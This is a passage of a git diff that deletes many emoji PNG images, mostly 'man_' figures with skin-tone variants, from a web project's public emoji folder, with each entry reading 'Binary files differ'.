index 2b1b128706d..00000000000
--- a/public/-/emojis/2/man_rowing_boat_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_rowing_boat_tone3.png b/public/-/emojis/2/man_rowing_boat_tone3.png
deleted file mode 100644
index 6b780c613ca..00000000000
--- a/public/-/emojis/2/man_rowing_boat_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_rowing_boat_tone4.png b/public/-/emojis/2/man_rowing_boat_tone4.png
deleted file mode 100644
index cfcca5ae566..00000000000
--- a/public/-/emojis/2/man_rowing_boat_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_rowing_boat_tone5.png b/public/-/emojis/2/man_rowing_boat_tone5.png
deleted file mode 100644
index 8871256fc74..00000000000
--- a/public/-/emojis/2/man_rowing_boat_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_running.png b/public/-/emojis/2/man_running.png
deleted file mode 100644
index 58682ec509c..00000000000
--- a/public/-/emojis/2/man_running.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_running_tone1.png b/public/-/emojis/2/man_running_tone1.png
deleted file mode 100644
index 4061a9f7f60..00000000000
--- a/public/-/emojis/2/man_running_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_running_tone2.png b/public/-/emojis/2/man_running_tone2.png
deleted file mode 100644
index 91b46a452be..00000000000
--- a/public/-/emojis/2/man_running_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_running_tone3.png b/public/-/emojis/2/man_running_tone3.png
deleted file mode 100644
index d4f89ae4abf..00000000000
--- a/public/-/emojis/2/man_running_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_running_tone4.png b/public/-/emojis/2/man_running_tone4.png
deleted file mode 100644
index c083fb11342..00000000000
--- a/public/-/emojis/2/man_running_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_running_tone5.png b/public/-/emojis/2/man_running_tone5.png
deleted file mode 100644
index a8ca2a8670d..00000000000
--- a/public/-/emojis/2/man_running_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_scientist.png b/public/-/emojis/2/man_scientist.png
deleted file mode 100644
index dd441bda0e0..00000000000
--- a/public/-/emojis/2/man_scientist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_scientist_tone1.png b/public/-/emojis/2/man_scientist_tone1.png
deleted file mode 100644
index 5795885d02e..00000000000
--- a/public/-/emojis/2/man_scientist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_scientist_tone2.png b/public/-/emojis/2/man_scientist_tone2.png
deleted file mode 100644
index 2087360d581..00000000000
--- a/public/-/emojis/2/man_scientist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_scientist_tone3.png b/public/-/emojis/2/man_scientist_tone3.png
deleted file mode 100644
index 5b0056316cc..00000000000
--- a/public/-/emojis/2/man_scientist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_scientist_tone4.png b/public/-/emojis/2/man_scientist_tone4.png
deleted file mode 100644
index 16227cbabb4..00000000000
--- a/public/-/emojis/2/man_scientist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_scientist_tone5.png b/public/-/emojis/2/man_scientist_tone5.png
deleted file mode 100644
index eb548f27659..00000000000
--- a/public/-/emojis/2/man_scientist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_shrugging.png b/public/-/emojis/2/man_shrugging.png
deleted file mode 100644
index 5e0cfda0680..00000000000
--- a/public/-/emojis/2/man_shrugging.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_shrugging_tone1.png b/public/-/emojis/2/man_shrugging_tone1.png
deleted file mode 100644
index ac27663d822..00000000000
--- a/public/-/emojis/2/man_shrugging_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_shrugging_tone2.png b/public/-/emojis/2/man_shrugging_tone2.png
deleted file mode 100644
index f006c88c419..00000000000
--- a/public/-/emojis/2/man_shrugging_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_shrugging_tone3.png b/public/-/emojis/2/man_shrugging_tone3.png
deleted file mode 100644
index 816d471d6b2..00000000000
--- a/public/-/emojis/2/man_shrugging_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_shrugging_tone4.png b/public/-/emojis/2/man_shrugging_tone4.png
deleted file mode 100644
index d9529ee98bc..00000000000
--- a/public/-/emojis/2/man_shrugging_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_shrugging_tone5.png b/public/-/emojis/2/man_shrugging_tone5.png
deleted file mode 100644
index cbfc9b652f9..00000000000
--- a/public/-/emojis/2/man_shrugging_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_singer.png b/public/-/emojis/2/man_singer.png
deleted file mode 100644
index 7ebe1e1e3ca..00000000000
--- a/public/-/emojis/2/man_singer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_singer_tone1.png b/public/-/emojis/2/man_singer_tone1.png
deleted file mode 100644
index a7e4b259619..00000000000
--- a/public/-/emojis/2/man_singer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_singer_tone2.png b/public/-/emojis/2/man_singer_tone2.png
deleted file mode 100644
index 25cc6bb1298..00000000000
--- a/public/-/emojis/2/man_singer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_singer_tone3.png b/public/-/emojis/2/man_singer_tone3.png
deleted file mode 100644
index f53e40b2a2c..00000000000
--- a/public/-/emojis/2/man_singer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_singer_tone4.png b/public/-/emojis/2/man_singer_tone4.png
deleted file mode 100644
index 9be7029c1d9..00000000000
--- a/public/-/emojis/2/man_singer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_singer_tone5.png b/public/-/emojis/2/man_singer_tone5.png
deleted file mode 100644
index cd0a2573728..00000000000
--- a/public/-/emojis/2/man_singer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_student.png b/public/-/emojis/2/man_student.png
deleted file mode 100644
index 0ad78034760..00000000000
--- a/public/-/emojis/2/man_student.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_student_tone1.png b/public/-/emojis/2/man_student_tone1.png
deleted file mode 100644
index 2c61438cd0c..00000000000
--- a/public/-/emojis/2/man_student_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_student_tone2.png b/public/-/emojis/2/man_student_tone2.png
deleted file mode 100644
index 73553d1f059..00000000000
--- a/public/-/emojis/2/man_student_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_student_tone3.png b/public/-/emojis/2/man_student_tone3.png
deleted file mode 100644
index 5c794e7dae5..00000000000
--- a/public/-/emojis/2/man_student_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_student_tone4.png b/public/-/emojis/2/man_student_tone4.png
deleted file mode 100644
index eca960fdab6..00000000000
--- a/public/-/emojis/2/man_student_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_student_tone5.png b/public/-/emojis/2/man_student_tone5.png
deleted file mode 100644
index fa3bede2a1d..00000000000
--- a/public/-/emojis/2/man_student_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_superhero.png b/public/-/emojis/2/man_superhero.png
deleted file mode 100644
index 059b137a21d..00000000000
--- a/public/-/emojis/2/man_superhero.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_superhero_tone1.png b/public/-/emojis/2/man_superhero_tone1.png
deleted file mode 100644
index 0d459cc6f0e..00000000000
--- a/public/-/emojis/2/man_superhero_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_superhero_tone2.png b/public/-/emojis/2/man_superhero_tone2.png
deleted file mode 100644
index a471b425f5f..00000000000
--- a/public/-/emojis/2/man_superhero_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_superhero_tone3.png b/public/-/emojis/2/man_superhero_tone3.png
deleted file mode 100644
index 2a447b396fa..00000000000
--- a/public/-/emojis/2/man_superhero_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_superhero_tone4.png b/public/-/emojis/2/man_superhero_tone4.png
deleted file mode 100644
index 715983dd4df..00000000000
--- a/public/-/emojis/2/man_superhero_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_superhero_tone5.png b/public/-/emojis/2/man_superhero_tone5.png
deleted file mode 100644
index 8c8cbd25658..00000000000
--- a/public/-/emojis/2/man_superhero_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_supervillain.png b/public/-/emojis/2/man_supervillain.png
deleted file mode 100644
index 335bee443d5..00000000000
--- a/public/-/emojis/2/man_supervillain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_supervillain_tone1.png b/public/-/emojis/2/man_supervillain_tone1.png
deleted file mode 100644
index 9ddb49bb248..00000000000
--- a/public/-/emojis/2/man_supervillain_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_supervillain_tone2.png b/public/-/emojis/2/man_supervillain_tone2.png
deleted file mode 100644
index f5e8306ac37..00000000000
--- a/public/-/emojis/2/man_supervillain_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_supervillain_tone3.png b/public/-/emojis/2/man_supervillain_tone3.png
deleted file mode 100644
index 0d218ae19c9..00000000000
--- a/public/-/emojis/2/man_supervillain_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_supervillain_tone4.png b/public/-/emojis/2/man_supervillain_tone4.png
deleted file mode 100644
index 805c5c3b1a9..00000000000
--- a/public/-/emojis/2/man_supervillain_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_supervillain_tone5.png b/public/-/emojis/2/man_supervillain_tone5.png
deleted file mode 100644
index d6ae6e36a96..00000000000
--- a/public/-/emojis/2/man_supervillain_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_surfing.png b/public/-/emojis/2/man_surfing.png
deleted file mode 100644
index 81db94d48ce..00000000000
--- a/public/-/emojis/2/man_surfing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_surfing_tone1.png b/public/-/emojis/2/man_surfing_tone1.png
deleted file mode 100644
index e4a8862621a..00000000000
--- a/public/-/emojis/2/man_surfing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_surfing_tone2.png b/public/-/emojis/2/man_surfing_tone2.png
deleted file mode 100644
index a2e1af29694..00000000000
--- a/public/-/emojis/2/man_surfing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_surfing_tone3.png b/public/-/emojis/2/man_surfing_tone3.png
deleted file mode 100644
index f4a8159e8f9..00000000000
--- a/public/-/emojis/2/man_surfing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_surfing_tone4.png b/public/-/emojis/2/man_surfing_tone4.png
deleted file mode 100644
index 11f7351c29e..00000000000
--- a/public/-/emojis/2/man_surfing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_surfing_tone5.png b/public/-/emojis/2/man_surfing_tone5.png
deleted file mode 100644
index 0a30921eb04..00000000000
--- a/public/-/emojis/2/man_surfing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_swimming.png b/public/-/emojis/2/man_swimming.png
deleted file mode 100644
index c070123197a..00000000000
--- a/public/-/emojis/2/man_swimming.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_swimming_tone1.png b/public/-/emojis/2/man_swimming_tone1.png
deleted file mode 100644
index 8ffbec49728..00000000000
--- a/public/-/emojis/2/man_swimming_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_swimming_tone2.png b/public/-/emojis/2/man_swimming_tone2.png
deleted file mode 100644
index 56eff24c8c6..00000000000
--- a/public/-/emojis/2/man_swimming_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_swimming_tone3.png b/public/-/emojis/2/man_swimming_tone3.png
deleted file mode 100644
index 05deddf8b40..00000000000
--- a/public/-/emojis/2/man_swimming_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_swimming_tone4.png b/public/-/emojis/2/man_swimming_tone4.png
deleted file mode 100644
index 924ae948a1c..00000000000
--- a/public/-/emojis/2/man_swimming_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_swimming_tone5.png b/public/-/emojis/2/man_swimming_tone5.png
deleted file mode 100644
index 07eb0217694..00000000000
--- a/public/-/emojis/2/man_swimming_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_teacher.png b/public/-/emojis/2/man_teacher.png
deleted file mode 100644
index fb3c237deb5..00000000000
--- a/public/-/emojis/2/man_teacher.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_teacher_tone1.png b/public/-/emojis/2/man_teacher_tone1.png
deleted file mode 100644
index 05df54cf972..00000000000
--- a/public/-/emojis/2/man_teacher_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_teacher_tone2.png b/public/-/emojis/2/man_teacher_tone2.png
deleted file mode 100644
index 553d77c1357..00000000000
--- a/public/-/emojis/2/man_teacher_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_teacher_tone3.png b/public/-/emojis/2/man_teacher_tone3.png
deleted file mode 100644
index 81ac3482df0..00000000000
--- a/public/-/emojis/2/man_teacher_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_teacher_tone4.png b/public/-/emojis/2/man_teacher_tone4.png
deleted file mode 100644
index 2b4ce3a4771..00000000000
--- a/public/-/emojis/2/man_teacher_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_teacher_tone5.png b/public/-/emojis/2/man_teacher_tone5.png
deleted file mode 100644
index 521a9b413dd..00000000000
--- a/public/-/emojis/2/man_teacher_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_technologist.png b/public/-/emojis/2/man_technologist.png
deleted file mode 100644
index 0dd242a2a4e..00000000000
--- a/public/-/emojis/2/man_technologist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_technologist_tone1.png b/public/-/emojis/2/man_technologist_tone1.png
deleted file mode 100644
index f03958c74f4..00000000000
--- a/public/-/emojis/2/man_technologist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_technologist_tone2.png b/public/-/emojis/2/man_technologist_tone2.png
deleted file mode 100644
index 9ebf1613864..00000000000
--- a/public/-/emojis/2/man_technologist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_technologist_tone3.png b/public/-/emojis/2/man_technologist_tone3.png
deleted file mode 100644
index 58cef92b03c..00000000000
--- a/public/-/emojis/2/man_technologist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_technologist_tone4.png b/public/-/emojis/2/man_technologist_tone4.png
deleted file mode 100644
index bc7f249ddca..00000000000
--- a/public/-/emojis/2/man_technologist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_technologist_tone5.png b/public/-/emojis/2/man_technologist_tone5.png
deleted file mode 100644
index b75609ed06b..00000000000
--- a/public/-/emojis/2/man_technologist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tipping_hand.png b/public/-/emojis/2/man_tipping_hand.png
deleted file mode 100644
index 64bdd69e342..00000000000
--- a/public/-/emojis/2/man_tipping_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tipping_hand_tone1.png b/public/-/emojis/2/man_tipping_hand_tone1.png
deleted file mode 100644
index 309bd4d2203..00000000000
--- a/public/-/emojis/2/man_tipping_hand_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tipping_hand_tone2.png b/public/-/emojis/2/man_tipping_hand_tone2.png
deleted file mode 100644
index ede9676995a..00000000000
--- a/public/-/emojis/2/man_tipping_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tipping_hand_tone3.png b/public/-/emojis/2/man_tipping_hand_tone3.png
deleted file mode 100644
index e3fdc72b09c..00000000000
--- a/public/-/emojis/2/man_tipping_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tipping_hand_tone4.png b/public/-/emojis/2/man_tipping_hand_tone4.png
deleted file mode 100644
index 76c80d9a9cb..00000000000
--- a/public/-/emojis/2/man_tipping_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tipping_hand_tone5.png b/public/-/emojis/2/man_tipping_hand_tone5.png
deleted file mode 100644
index 72114601a18..00000000000
--- a/public/-/emojis/2/man_tipping_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tone1.png b/public/-/emojis/2/man_tone1.png
deleted file mode 100644
index 9dde0e1549c..00000000000
--- a/public/-/emojis/2/man_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tone2.png b/public/-/emojis/2/man_tone2.png
deleted file mode 100644
index 9d818a68fbe..00000000000
--- a/public/-/emojis/2/man_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tone3.png b/public/-/emojis/2/man_tone3.png
deleted file mode 100644
index bb5783f0c85..00000000000
--- a/public/-/emojis/2/man_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tone4.png b/public/-/emojis/2/man_tone4.png
deleted file mode 100644
index dc56beafcac..00000000000
--- a/public/-/emojis/2/man_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_tone5.png b/public/-/emojis/2/man_tone5.png
deleted file mode 100644
index a063207866c..00000000000
--- a/public/-/emojis/2/man_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_vampire.png b/public/-/emojis/2/man_vampire.png
deleted file mode 100644
index 1dd6ae8c3d5..00000000000
--- a/public/-/emojis/2/man_vampire.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_vampire_tone1.png b/public/-/emojis/2/man_vampire_tone1.png
deleted file mode 100644
index 5e8218fa302..00000000000
--- a/public/-/emojis/2/man_vampire_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_vampire_tone2.png b/public/-/emojis/2/man_vampire_tone2.png
deleted file mode 100644
index 5ba1741b415..00000000000
--- a/public/-/emojis/2/man_vampire_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_vampire_tone3.png b/public/-/emojis/2/man_vampire_tone3.png
deleted file mode 100644
index 2eb3811cd0e..00000000000
--- a/public/-/emojis/2/man_vampire_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_vampire_tone4.png b/public/-/emojis/2/man_vampire_tone4.png
deleted file mode 100644
index 3b39381aef4..00000000000
--- a/public/-/emojis/2/man_vampire_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_vampire_tone5.png b/public/-/emojis/2/man_vampire_tone5.png
deleted file mode 100644
index d5ad046dbbe..00000000000
--- a/public/-/emojis/2/man_vampire_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_walking.png b/public/-/emojis/2/man_walking.png
deleted file mode 100644
index 71a67e01159..00000000000
--- a/public/-/emojis/2/man_walking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_walking_tone1.png b/public/-/emojis/2/man_walking_tone1.png
deleted file mode 100644
index 0cf79c31adc..00000000000
--- a/public/-/emojis/2/man_walking_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_walking_tone2.png b/public/-/emojis/2/man_walking_tone2.png
deleted file mode 100644
index 815138972c3..00000000000
--- a/public/-/emojis/2/man_walking_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_walking_tone3.png b/public/-/emojis/2/man_walking_tone3.png
deleted file mode 100644
index 1d53c57095f..00000000000
--- a/public/-/emojis/2/man_walking_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_walking_tone4.png b/public/-/emojis/2/man_walking_tone4.png
deleted file mode 100644
index 541c0193ecd..00000000000
--- a/public/-/emojis/2/man_walking_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_walking_tone5.png b/public/-/emojis/2/man_walking_tone5.png
deleted file mode 100644
index 24b2e2cfa85..00000000000
--- a/public/-/emojis/2/man_walking_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_wearing_turban.png b/public/-/emojis/2/man_wearing_turban.png
deleted file mode 100644
index a719ac735f5..00000000000
--- a/public/-/emojis/2/man_wearing_turban.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_wearing_turban_tone1.png b/public/-/emojis/2/man_wearing_turban_tone1.png
deleted file mode 100644
index eb5e437161a..00000000000
--- a/public/-/emojis/2/man_wearing_turban_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_wearing_turban_tone2.png b/public/-/emojis/2/man_wearing_turban_tone2.png
deleted file mode 100644
index 0304e4368fb..00000000000
--- a/public/-/emojis/2/man_wearing_turban_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_wearing_turban_tone3.png b/public/-/emojis/2/man_wearing_turban_tone3.png
deleted file mode 100644
index 7ed6bd55d9c..00000000000
--- a/public/-/emojis/2/man_wearing_turban_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_wearing_turban_tone4.png b/public/-/emojis/2/man_wearing_turban_tone4.png
deleted file mode 100644
index 443840ff969..00000000000
--- a/public/-/emojis/2/man_wearing_turban_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_wearing_turban_tone5.png b/public/-/emojis/2/man_wearing_turban_tone5.png
deleted file mode 100644
index ea5e9b597f4..00000000000
--- a/public/-/emojis/2/man_wearing_turban_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_white_haired.png b/public/-/emojis/2/man_white_haired.png
deleted file mode 100644
index e93dc4e523f..00000000000
--- a/public/-/emojis/2/man_white_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_white_haired_tone1.png b/public/-/emojis/2/man_white_haired_tone1.png
deleted file mode 100644
index 0ac9fa9c5a8..00000000000
--- a/public/-/emojis/2/man_white_haired_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_white_haired_tone2.png b/public/-/emojis/2/man_white_haired_tone2.png
deleted file mode 100644
index 93f0517d30b..00000000000
--- a/public/-/emojis/2/man_white_haired_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_white_haired_tone3.png b/public/-/emojis/2/man_white_haired_tone3.png
deleted file mode 100644
index 7052f85456f..00000000000
--- a/public/-/emojis/2/man_white_haired_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_white_haired_tone4.png b/public/-/emojis/2/man_white_haired_tone4.png
deleted file mode 100644
index eed292486af..00000000000
--- a/public/-/emojis/2/man_white_haired_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_white_haired_tone5.png b/public/-/emojis/2/man_white_haired_tone5.png
deleted file mode 100644
index abbf85869bc..00000000000
--- a/public/-/emojis/2/man_white_haired_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_gua_pi_mao.png b/public/-/emojis/2/man_with_gua_pi_mao.png
deleted file mode 100644
index 03954505df8..00000000000
--- a/public/-/emojis/2/man_with_gua_pi_mao.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_gua_pi_mao_tone1.png b/public/-/emojis/2/man_with_gua_pi_mao_tone1.png
deleted file mode 100644
index c689e0116f7..00000000000
--- a/public/-/emojis/2/man_with_gua_pi_mao_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_gua_pi_mao_tone2.png b/public/-/emojis/2/man_with_gua_pi_mao_tone2.png
deleted file mode 100644
index 1309563abfc..00000000000
--- a/public/-/emojis/2/man_with_gua_pi_mao_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_gua_pi_mao_tone3.png b/public/-/emojis/2/man_with_gua_pi_mao_tone3.png
deleted file mode 100644
index 979263fa79e..00000000000
--- a/public/-/emojis/2/man_with_gua_pi_mao_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_gua_pi_mao_tone4.png b/public/-/emojis/2/man_with_gua_pi_mao_tone4.png
deleted file mode 100644
index a2aa1a9b365..00000000000
--- a/public/-/emojis/2/man_with_gua_pi_mao_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_gua_pi_mao_tone5.png b/public/-/emojis/2/man_with_gua_pi_mao_tone5.png
deleted file mode 100644
index ba495258d77..00000000000
--- a/public/-/emojis/2/man_with_gua_pi_mao_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_turban.png b/public/-/emojis/2/man_with_turban.png
deleted file mode 100644
index a719ac735f5..00000000000
--- a/public/-/emojis/2/man_with_turban.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_turban_tone1.png b/public/-/emojis/2/man_with_turban_tone1.png
deleted file mode 100644
index eb5e437161a..00000000000
--- a/public/-/emojis/2/man_with_turban_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_turban_tone2.png b/public/-/emojis/2/man_with_turban_tone2.png
deleted file mode 100644
index 0304e4368fb..00000000000
--- a/public/-/emojis/2/man_with_turban_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_turban_tone3.png b/public/-/emojis/2/man_with_turban_tone3.png
deleted file mode 100644
index 7ed6bd55d9c..00000000000
--- a/public/-/emojis/2/man_with_turban_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_turban_tone4.png b/public/-/emojis/2/man_with_turban_tone4.png
deleted file mode 100644
index 443840ff969..00000000000
--- a/public/-/emojis/2/man_with_turban_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_with_turban_tone5.png b/public/-/emojis/2/man_with_turban_tone5.png
deleted file mode 100644
index ea5e9b597f4..00000000000
--- a/public/-/emojis/2/man_with_turban_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_zombie.png b/public/-/emojis/2/man_zombie.png
deleted file mode 100644
index 8fc4264a1d7..00000000000
--- a/public/-/emojis/2/man_zombie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mango.png b/public/-/emojis/2/mango.png
deleted file mode 100644
index d6c3dc9fafa..00000000000
--- a/public/-/emojis/2/mango.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mans_shoe.png b/public/-/emojis/2/mans_shoe.png
deleted file mode 100644
index 642e839efae..00000000000
--- a/public/-/emojis/2/mans_shoe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/map.png b/public/-/emojis/2/map.png
deleted file mode 100644
index e7392f2264e..00000000000
--- a/public/-/emojis/2/map.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/maple_leaf.png b/public/-/emojis/2/maple_leaf.png
deleted file mode 100644
index f826257484f..00000000000
--- a/public/-/emojis/2/maple_leaf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/martial_arts_uniform.png b/public/-/emojis/2/martial_arts_uniform.png
deleted file mode 100644
index 950f4d28036..00000000000
--- a/public/-/emojis/2/martial_arts_uniform.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mask.png b/public/-/emojis/2/mask.png
deleted file mode 100644
index 23eef9cf9c0..00000000000
--- a/public/-/emojis/2/mask.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/massage.png b/public/-/emojis/2/massage.png
deleted file mode 100644
index e447b4e45e7..00000000000
--- a/public/-/emojis/2/massage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/massage_tone1.png b/public/-/emojis/2/massage_tone1.png
deleted file mode 100644
index 1c3424f5c19..00000000000
--- a/public/-/emojis/2/massage_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/massage_tone2.png b/public/-/emojis/2/massage_tone2.png
deleted file mode 100644
index 90f3b4601d9..00000000000
--- a/public/-/emojis/2/massage_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/massage_tone3.png b/public/-/emojis/2/massage_tone3.png
deleted file mode 100644
index 1028afc6be5..00000000000
--- a/public/-/emojis/2/massage_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/massage_tone4.png b/public/-/emojis/2/massage_tone4.png
deleted file mode 100644
index 0fc5f2817c6..00000000000
--- a/public/-/emojis/2/massage_tone4.png
+++ /dev/null
Binary files differ
